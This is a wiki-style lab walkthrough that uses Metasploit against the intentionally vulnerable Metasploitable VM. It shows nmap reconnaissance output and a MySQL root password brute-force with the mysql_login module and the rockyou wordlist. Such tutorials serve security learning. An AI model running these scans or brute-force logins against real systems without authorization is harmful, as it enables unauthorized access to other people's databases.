Revision as of 03:53, 23 March 2016

Metasploit framework info: http://docs.kali.org/general-use/starting-metasploit-framework-in-kali

Basics

Initializing DB

First, you want postgresql to run as a server:

$ service postgresql start

This is the database format that MSF uses.

Now initialize the database:

$ msfdb init

Running

To get a metasploit console, run

$ msfconsole

Using

Example: Metasploitable

As an example of how we can use metasploit, we'll be looking at the Metasploitable virtual box.

Setting Up Metasploitable

Downloaded virtual disk image, loaded it up in a 64-bit Linux virtualbox instance.

The networking configuration was, I had the VirtualBox instance running on a Mac, and was attacking from a machine running Kali Linux. Both computers were on a private network and on the same subnet.

From VirtualBox, I created a bridged network adapter (meaning, VirtualBox can send/receive messages directly through that interface). Next, I flipped the switch on the VirtualBox, and away we went. The router automatically assigned an IP address to the Metasploitable VirtualBox.

Recon

Make a box for stuff:

$ mkdir -p box/metasploitable

Start by using nmap to scan the host.

First a fast scan -F:

$ nmap -F 10.0.0.*

Then we can do a more extensive scan:

$ nmap -sS 10.0.0.*

This reveals the IP address of the VirtualBox, which is 10.0.0.27.

We can also do a deeper scan:

$ nmap -sS -sV -A 10.0.0.27

This will reveal an array of services, at least one of which is bound to have a service wit an exploit in metasploit.

Sure enough, the verbose scan returns lots of good information:

$ nmap -sS -sV -A 10.0.0.27

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-22 18:30 PDT
Nmap scan report for 10.0.0.27
Host is up (0.016s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2016-03-23T01:31:31+00:00; +33s from scanner time.
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      42810/tcp  mountd
|   100005  1,2,3      45599/udp  mountd
|   100021  1,3,4      34385/tcp  nlockmgr
|   100021  1,3,4      60702/udp  nlockmgr
|   100024  1          38085/udp  status
|_  100024  1          52004/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    Java RMI Registry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: w$K,8vk7k8tagd@PR*zK
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    Unknown security type (33554432)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 1:05:20
|   source ident: nmap
|   source host: 6D4CD63B.D3975B40.7B559A54.IP
|_  error: Closing Link: cxfhgnbdt[10.0.0.25] (Quit: cxfhgnbdt)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:47:98:AD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP
|_  System time: 2016-03-22T21:31:31-04:00

TRACEROUTE
HOP RTT      ADDRESS
1   16.11 ms 10.0.0.27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.31 seconds

MySQL

Let's focus on the MySQL service:

3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: w$K,8vk7k8tagd@PR*zK

This is a very old version of MySQL (5.0.5, the current version is 5.7.11). If we look for mysql exploits in metasploit, we find this one: https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/

This is a brute-force login exploit for MySQL.

msf > use auxiliary/scanner/mysql/mysql_login 
msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Note that in order to successfully use this, we'll need some wordlists for username and password combinations.

We can illustrate the process using some of the wordlists included with Kali, in /usr/share/wordlists.

We'll use the rockyou list:

$ cd /usr/share/wordlists
$ gunzip rockyou.txt.gz
$ ls -lh rockyou.txt

Now that we have rockyou.txt as our wordlist, let's use it as the password file with metasploit.

Here, we set various options for this particular exploit:

msf auxiliary(mysql_login) > set THREADS 1000
THREADS => 1000
msf auxiliary(mysql_login) > set RHOSTS 10.0.0.27
RHOST => 10.0.0.27
msf auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf auxiliary(mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(mysql_login) > set VERBOSE false
VERBOSE => false

Now run the exploit:

msf auxiliary(mysql_login) > run

The attack began at 8:51

MSF: Difference between revisions

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